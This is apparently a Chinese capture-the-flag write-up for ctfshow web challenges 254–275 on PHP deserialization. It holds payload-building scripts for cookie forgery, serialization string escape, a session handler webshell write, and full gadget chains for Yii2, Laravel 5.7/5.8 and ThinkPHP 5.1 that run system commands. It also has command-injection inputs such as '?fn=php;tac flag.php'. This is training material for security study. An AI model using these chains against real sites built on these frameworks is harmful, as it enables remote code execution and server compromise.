目录
常见的反序列化魔术手法
web254
web255
web256
web257
web258
web259
web260
web261
web262
解法一:
解法二:
web263
web264
web265
web266
web267
web268
web269
web270
web271
web272
web273
web274
web275
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //析构函数,对象被销毁时触发
__construct() //构造函数,当创建对象时自动调用。
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
直接改url就行
?username=xxxxxx&password=xxxxxx
看源代码序言一个$isVip=true的cookie。
在本地写代码进行测试,构造如下代码,生成cookie
isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
}
$a= new ctfShowUser();
$a->isVip = true;
echo urlencode(serialize($a));
payload:
?username=xxxxxx&password=xxxxxx
比上一题多了一步。
if($this->username!==$this->password)
代表反序列化后的username和password不相等。构造如下代码:
isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
}
$a= new ctfShowUser();
$a->isVip = true;
echo urlencode(serialize($a));
payload:
?username=xxxxxx&password=a
这里反序列化后执行login函数,我们找到login函数在class ctfShowUser 中
所以我们需要定义一个 ctfShowUser 的对象
发现ctfShowUser对象生成时会创建一个info的对象,结束时会调用info的getInfo
同时发现backDoor类中也有getInfo,所以这里的backDoor就是关键
class=new backDoor();
}
}
class backDoor{
private $code="system('cat flag.php');";
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
然后按老操作。
添加了正则过滤
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
相当与过滤 o:数字
将其中的o:数字改为o:+数字即可
构造如下代码
class=new backDoor();
}
}
class backDoor{
public $code='system("tac flag.php");';
}
$a = serialize(new ctfShowUser());
$b = str_replace(':11',':+11',$a);
$c = str_replace(':8',':+8',$b);
echo urlencode($c);
从题目中可以看到是get传参,直接url传 ctfshow_i_love_36D
username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
魔术方法:__invoke() 当尝试将对象调用为函数时触发,但是这里没有相关的函数,所以这个相当于没用,主要看__destruct()函数。
$this->code==0x36d
是弱类型比较,0x36d没有引号代表数字,十六进制0x36d转为十进制是877
我们只要让a=877.php,b为一句话木马即可
username='877.php';
$this->password="";
}
}
echo urlencode(serialize(new ctfshowvip()));
开始没有可以利用的点,发现还有message.php,那就直接访问。
大概就是在cookie中给msg传入message序列化后进行base64编码的值,只要把token值设置为admin就好了
直接构造反序列化。
$umsg = str_replace('fuck', 'loveU', serialize($msg));
是一个典型的字符逃逸,短变长,可以利用它来任意构造token的值
我们来对比下字符替换前后序列化字符的长度,我们得知,过滤之后$to的长度还是4,但是里面有5个字符,这时候进行反序列化,实际上也只会截取4个字符,原本U后面的引号前移一位,这时候就会逃逸出一个字符U,很显然短变成长,每次转换多一个字符从fuck变为loveU,就会多逃逸一个字符
s:4:"love"U;s:5:"token";s:4:"user";}
其实我的理解就是前面替换的字符,让字符长度变长,这样后面的超过的字符就会逃逸。";s:5:"token";s:5:"admin";}
的长度为27,要让它逃逸出来,要转换27次才行,我们构造一下
from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$msg = new message("1","2",'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
$umsg = str_replace('fuck', 'loveU', serialize($msg));
// O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
echo serialize($msg);
// O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
echo urlencode(base64_encode($umsg));
转换前s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}"正好135位
转换后s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU也正好135位,后面的27位字符";s:5:"token";s:5:"admin";}逃逸出来了,第一个字符"会补上去闭合$to已经结束了,用}
闭合了,后面拼接的";s:5:"token";s:4:"user";}
不是反序列化的格式,所以直接被忽略了,这时候通过反序列化就成功把token的值改成admin了
这一关刚看到登录界面是懵逼的。
然后知道到www.zip下载源码
查看inc.php发现file_put_contents危险函数,$this->username=$username,$this->password=$password
为可控点,可以写入一个webshell;
ini_set('session.serialize_handler', 'php');
先判断一下session是否可控。如果不可控的话可能就要利用文件上传了。
全局搜索一下session,发现首先是这里:
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
第一次访问index.php就会产生session,之后如果limit没超过5的话,$_SESSION['limit']=base64_decode($_COOKIE['limit']);
Cookie可控,因此session就可控了。再去找一下利用点,直接找session_start,发现inc.php里面有session-start(),而且存在User类,有一个文件写入:
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
文件名和写入的内容都可控,因此可以写马,自此反序列化链也就理顺了。
构造如下:
username = "10.php";
$this->password = '';
}
}
echo base64_encode("|".serialize(new User()));
首先访问index.php,然后改cookie,再刷新一次index.php,再访问一次check.php,这样马就写好了,然后RCE即可。
又是字符逃逸
我们需要$token='admin';
经过序列化是这样的s:5:"token";s:5:"admin";
,加上闭合";s:5:"token";s:5:"admin";}
一共27个字符,每次替换增加一个字符,需要27个fuck吃掉构造函数的$token='user';
index.php
get:?f=&m=&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
message.php
Cookie 任意msg=........
只要让password全等于token就好了,而token是一个经过md5加密后的随机数,爆破是很难解出来的,这里可以用php的引用
password = & $a -> token;
echo urlencode(serialize($a));
然后get传参就ok了。
发现执行魔术方法__destruct时会输出flag
原理:当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功。但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以PHP对这个畸形序列化字符串得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法。
抓包,输入 O:7:"ctfshow":2:{ctfshow} 即可
一看到登录就没思路,看大佬。
先用damin/admin登录,然后查看about页面的源代码发现多了个这个
访问?r=site%2Fabout&view-source
拿到提示
checkAccess = 'phpinfo';
$this->id = '1';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
发现可以回显
不过这题system不行,而且好像没回显,但是我用passthru可以有回显
checkAccess = 'passthru';
$this->id = 'cat /flag';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
对链子做了过滤,但是上一题链子依旧可以。
用之前的链依然可以打通。
这里用另一个链子:
checkAccess = 'passthru';
$this->id = 'cat /fl*';
}
}
}
namespace yii\db{
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this->writeCallback=[$a,'run'];
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
这道题是Laravel5.7框架
参考aravel5.7 反序列化漏洞复现
command="system";
$this->parameters[]="cat /flag";
$this->test=new GenericUser();
$this->app=new Application();
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $bindings = [];
public function __construct(){
$this->bindings=array(
'Illuminate\Contracts\Console\Kernel'=>array(
'concrete'=>'Illuminate\Foundation\Application'
)
);
}
}
}
namespace Illuminate\Auth{
class GenericUser
{
protected $attributes;
public function __construct(){
$this->attributes['expectedOutput']=['hello','world'];
$this->attributes['expectedQuestions']=['hello','world'];
}
}
}
namespace{
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
POST传参即可得到flag
参考laravel5.8 反序列化漏洞复现
events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection="cat /flag";
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver="system";
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
flag就在cookie中
同上。
TP5.1的框架
先要找到一个反序列化的入口,查看页面源代码。
链子:
append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
之后在data后面加
&lin=tac /flag
得到flag
filename可控,只要$this->evilfile=true;
可以执行系统命令了
?fn=php;ls .
?fn=php;tac flag.php